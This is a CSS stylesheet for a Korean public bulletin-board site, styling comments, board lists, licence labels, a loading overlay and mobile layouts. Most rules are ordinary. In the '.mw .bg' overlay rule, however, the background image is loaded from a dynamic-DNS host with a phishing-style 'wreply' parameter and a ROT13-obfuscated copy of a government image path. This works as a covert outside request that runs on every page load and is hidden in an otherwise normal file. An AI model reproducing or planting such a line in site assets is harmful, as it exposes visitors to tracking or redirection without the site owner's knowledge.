.comment .form button {height:5rem; border:1px solid #555; line-height:4.8rem; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; font-size:1.5rem; display:inline-block; min-width:8.8rem; padding:0 1rem; background-color:#555; color:#fff; text-align:center; vertical-align:middle; -webkit-transition:all 0.2s; transition:all 0.2s; position:absolute; right:-1px; bottom:-1px}
.comment .form button:hover,
.comment .form button:focus {background-color:transparent; color:#555}
.comment > .title {font-size:1.6rem; font-weight:300; color:#666}
.comment > .title span {font-weight:500; color:#116eb4}

/* 코멘트 목록 */
.comment .list {margin-top:1.5rem; border-top:1px solid #aaa}
.comment .list li {position:relative; padding:2rem; border-bottom:1px solid #ddd; color:#767676}
.comment .list .name {font-weight:500}
.comment .list .txt {display:block !important; width:auto !important; height:auto !important; margin-bottom:0.5rem; opacity:1 !important}
.comment .list .date {font-size:1.4rem; color:#999}
.comment .list .form {width:100% !important; margin:1rem 0 0}
.comment .list .re {padding-left:4rem}
.comment .list .re::before {position:absolute; top:2.5rem; left:auto; width:1rem; height:1rem; margin-left:-2rem; border-left:1px solid #aaa; border-bottom:1px solid #aaa; content:''}

/* 코멘트 버튼 */
.comment .list .btn {position:absolute; right:2rem; top:2rem; font-size:1.4rem; color:#333}
.comment .list .btn a + a::before {display:inline-block; position:relative; top:-1px; width:1px; height:1.3rem; margin:0 1rem 0 0.75rem; background-color:#ddd; content:''; vertical-align:middle}
.comment .list .btn_reply {height:3rem; border:1px solid #ddd; line-height:2.8rem; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; font-size:1.4rem; display:inline-block; min-width:7rem; margin-top:1rem; padding:0 1rem; background-color:#fff; color:#666; text-align:center; vertical-align:middle; -webkit-transition:all 0.2s; transition:all 0.2s}
.comment .list .btn_reply:hover, .comment .btn_reply:focus {border-color:#333; background-color:#333; color:#fff}

/* 공공누리 디자인 추가 */
.kogl_open .label {display:block; width:17.1rem; height:3.5rem; background-color:#999; font-weight:400; text-align:center; color:#fff; line-height:3.5rem}
.kogl_open .kogl {margin-bottom:2rem}
.kogl_open .form_radio {display:block; margin-top:1rem}
.kogl_open .form_radio .img {float:left; width:13rem; padding-right:1rem}
.kogl_open .txt_right {margin:1rem 0}

/* 글 등록시 등록중입니다 이미지레이어 */
.mw {position:fixed;_position:absolute;top:0;left:0;width:100%;height:100%;z-index:10000;}
.mw .bg{position:absolute;top:0;left:0;width:100%;height:100%;background:#000 url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxbfgng.tb.xe%2Srpzf_erfbhepr%2Svzt%2Sot.cat') repeat;opacity:.5;filter:alpha(opacity=50);z-index:10000;}
.mw .fg{position:absolute;top:50%;left:50%;width:360px;height:80px;padding:15px;z-index:11000;}
.mw .fg .loading {display:block; text-align:center;padding:10px}

/*연관검색어*/
#dataSimilar {border:1px solid #ddd; border-radius:0.5rem; background-color: rgba(0,0,0,0.03); padding:2rem 2.5rem; margin-top:5rem}
#dataSimilar .title {display:block; font-size:1.5rem; font-weight:500}
#dataSimilar .list {display:flex; flex-wrap:wrap; width:100%; margin-top:1rem}
#dataSimilar .list li {flex:1 1 auto; width:50%; padding-right:2rem}
#dataSimilar .list li:nth-child(n+3) {margin-top:0.5rem}
#dataSimilar .list li:nth-child(even) {padding-right:0; padding-left:2rem}
#dataSimilar .list a {color:#666; display:block; font-size:1.4rem; line-height:1.4}
#dataSimilar .list a span {display:none}
#dataSimilar .list a .tt {display:block; font-weight:normal; padding-left:1.25rem; position:relative; width:99.9%; white-space:nowrap; text-overflow:ellipsis; overflow:hidden}
#dataSimilar .list a .tt:before {content:''; width:0.6rem; height:0.6rem; border-left: 1px solid #aaa; border-bottom:1px solid #aaa; position:absolute; left:0; top:0.5rem}
#dataSimilar .list a:hover {color:#006bb7}

@media (max-width:1100px)
{
	.board_view .file .list .txt {display:block}
}
@media (max-width:1023px)
{

	/* 게시판 페이징 */
	.board_pager .group {margin:0 2rem}
	.board_pager .group a {display:none}
	.board_pager .group a:last-child,
	.board_pager .group .active {display:inline}
	.board_pager .group .active {border:0; background:none; font-weight:600; color:#333}
	.board_pager .group .active::after {font-weight:300; content:' / ' }

	/*검색 카테고리 많을 때*/
	.multi-search .form .btn-group .reset button,
	.multi-search .form .btn-group .detail button {width:4rem; min-width:auto; overflow:hidden}
	.multi-search .form .btn-group .reset button i,
	.multi-search .form .btn-group .detail button i {display:block; width:100%; height:100%; line-height:4rem}

	/* 게시판 목록 기본 */
	.board-list tr {display:block; padding:1rem 0; border-bottom:1px solid #ddd}
	.board-list tr:last-child {border-bottom:0}
	.board-list colgroup, .board-list thead {display:none}
	.board-list td {display:block; padding:0; border:0 none; text-align:left; line-height:1.5; height:auto}

	/* 게시판 목록 */
	.board-list ._blank  {display:block; padding:10rem 0 !important; text-align:center}
	.board-list td {display:inline-block; height:auto; vertical-align:top; padding-bottom:.5rem}
	.board-list td[aria-label="번호"] {display:none; color:#999; font-size:1.7rem; max-width:6rem; vertical-align:top; padding-top:0.2rem}
	.board-list td[aria-label="분류"] {display:none; background-color:#f3f4f7; border-radius:0.3rem; color:#2c3b66; font-size:1.3rem; height:2.5rem; line-height:2.5rem; padding:0 0.5rem; text-align:center; width:6rem; vertical-align:1px}
	.board-list td[aria-label="제목"] {color:#000; font-size:1.8rem; font-weight:500; min-width:100%; max-width:calc(100% - 6.5rem); vertical-align:middle}
	.board-list td[aria-label="제목"] a:after {content:none}
	.board-list td[aria-label="등록일"],
	.board-list td[aria-label="첨부파일"],
	.board-list td[aria-label="조회수"] {font-size:1.4rem}
	.board-list td[aria-label="첨부파일"] img {width:2rem}

	.board-list td::before {margin-right:0.5rem; font-weight:400; color:#999; content:attr(aria-label)}
	.board-list td[aria-label="분류"]:before,
	.board-list td[aria-label="제목"]:before {display:none}

	.board-list td:after {content:''; background-color:#ccc; border-radius:100rem; width:.4rem; height:.4rem; display:inline-block; vertical-align:middle; margin:0 .6rem 0 .8rem}
	.board-list td:last-child:after,
	.board-list td[aria-label="분류"]:after {display:none}
	.board-list td[aria-label="제목"]:after {display:none}

	.board-list td[aria-label="제목"] a {position:relative}
	.board-list td[aria-label="제목"] a .answer {position:absolute; right:0}

	.board-list .tr-notice {padding-left:5.5rem}
	.board-list .tr-notice td[aria-label="번호"] {display:block; position:absolute; left:1rem}
	.board-list .tr-notice td[aria-label="번호"]:before {display:none}
	.board-list .tr-notice td[aria-label="번호"]:after {display:none}


	/* 게시판 목록 아이콘 */
	.board-list .xi-new {margin-top:0.25rem}

	/* 글쓰기 */
	.board-list .tstyle_write th {border-bottom:0}
	.board-list .tstyle_write td + th {border-top:1px solid #ddd; margin-top:1rem}

	/* 게시판 내용보기 */
	.board_view .contents {padding:2rem}

	/* 게시판 내용보기 파일 */
	.board_view .file {padding:1.5rem}
	.board_view .file .title {display:block; text-align:left}
	.board_view .file .list {width:100%}
	.board_view .file .list .txt {display:none}


	/* 게시판 답변 */
	.board_reply {padding:1.5rem 0}
	.board_reply .file {margin:1.5rem 0 -1.5rem; padding:1rem 0}

	/* 게시판 답변상황 */
	.board_state .form ul {display:block; margin:0}
	.board_state .form li {display:block; margin-bottom:0.5rem}
	.board_state .form li + li::before {display:none}
	.board_state .form label {float:left; width:7rem; margin:0}
	.board_state .form .btn {width:15rem; margin:1rem 0 0 7rem}

	/* 게시판 코멘트 */
	.comment .list li {padding:1.5rem 0;}
	.comment .list .btn {right:0.5rem; top:1rem;}
	.comment .list .re {padding-left:2rem;}

	/*직원연락처*/
	.board-list.scroll {overflow-x:scroll; position:relative}
	.board-list.scroll:before {content:' 좌우로 움직여주세요 '; background-color:rgba(0,0,0,0.5); color:#fff; font-family:'xeicon'; width:120%; height:5rem; text-align:center; line-height:5rem; position:absolute; left:50%; top:0; transform:translateX(-50%); z-index:1; animation:move 3s alternate ease-in-out forwards}
	.board-list.scroll table {min-width:120rem}
	.board-list.scroll colgroup {display:table-column-group}
	.board-list.scroll thead {display:table-header-group}
	.board-list.scroll tr {display:table-row; padding:0; border-bottom:0}
	.board-list.scroll td {display:table-cell; border-bottom:1px solid #ddd; padding:1rem 0; text-align:center; vertical-align:inherit}
	.board-list.scroll td:after {display:none}
}

@media screen and (max-width:768px){
	.captcha .desc .btn {height:3rem}
	.captcha .desc input {height:4rem}
}

@media (max-width:767px)
{

	h2.dep01 {font-size:2rem !important}
	/* 게시판 목록 정보 */
	.board_info {margin-bottom:1rem}
	.board_info .page_info,
	.board_info form {float:none}
	.board_info .form {width:100%; margin-bottom:1rem; table-layout:auto}
	.board_info .form .item {display:none}
	.board_info .form .item.type1 {display:table-cell; width:auto}
	.board_info .form .btn-group .btn span:first-child {min-width:6rem}
	.board_info .form .btn-group .btn span {width:auto}
	.board_info .form .btn button {width:100% !important; font-size:1.3rem}
	.board_info .form .btn .btn-write {width:calc(100% - 0.5rem) !important}

	.board_info .form_textbox.hasDatepicker {width:calc(50% - 1rem)}

	.board_info .form.type-block .select-group .form_select {display:block; margin:0.1rem 0}
	.board_info .form #news_search_form {width:100%; display:block; padding-right:0}
	.board_info .form #news_day_form {width:100%; display:block; padding-right:0}
	.board_info .form #news_day_form > span {width:calc(50% - 0.7rem) !important}

	/* 게시판 목록 */
	.board-list td {font-size:1.3rem}
	.board-list td[aria-label="제목"] a {font-size:1.6rem; width:100%; padding-right:8rem}

	/* 게시판 내용 정보 */
	.board_view > .title {padding:1.5rem}
	.board_view .info {padding:1.5rem}
	.board_view .info li {display:block; text-align:left}
	.board_view .info li + li::before {display:none}
	.board_view .info strong {color:#999}
	.board_view .txt_center {margin-bottom:1rem}

	/* 게시판 내용 파일 */
	.board_view .file .list li {padding-right:0}
	.board_view .file .list .link {position:relative; display:block}

	/* 게시판 답변 */
	.board_reply .info li[class] {display:block}
	.board_reply .info li + li::before {display:none}
	.board_reply .file .list li {padding-right:10rem}
	.board_reply .file .list .link a[target="_blank"] {display:none}

	/* 게시판 답변상황 */
	.board_state {margin-top:2rem; padding:1.5rem}
	.board_state::before {display:block; position:static; margin-bottom:0.5rem}
	.board_state li {display:block}
	.board_state li + li::before {display:none}

	/* 게시판 코멘트 */
	.comment .form {margin:2rem 0;}

	/* 공공누리 */
	.kogl_open .form_radio .img {display:block; float:none; width:100%; padding:0 0 0.5rem}

	.board-form .file .list li {padding-right:0; overflow:inherit; margin-bottom:1.7rem}
	.board-form .file .list .link {position:relative; display:block; top:.5rem}


	/*검색 카테고리 많을 때*/
	.multi-search .form .btn-group {display:block}
	.multi-search .form .item.type1{display:block}
	.multi-search .form .btn-group .btn {table-layout:auto}

	/*연관검색어*/
	#dataSimilar {padding:2rem}
	#dataSimilar .list li {width:100%; padding:0 !important}
	#dataSimilar .list li:nth-child(2) {margin-top:0.5rem}
	#dataSimilar .list a {font-size:1.3rem}
	#dataSimilar .list a .tt:after {top:0.7rem}
}

/*221212 고객요청사항*/
.btn_wrap{margin-top:10px; text-align:right;}
.btn_wrap.tac {text-align:center;}
.btn_wrap .btn:hover{color:#fff;background:#043763;}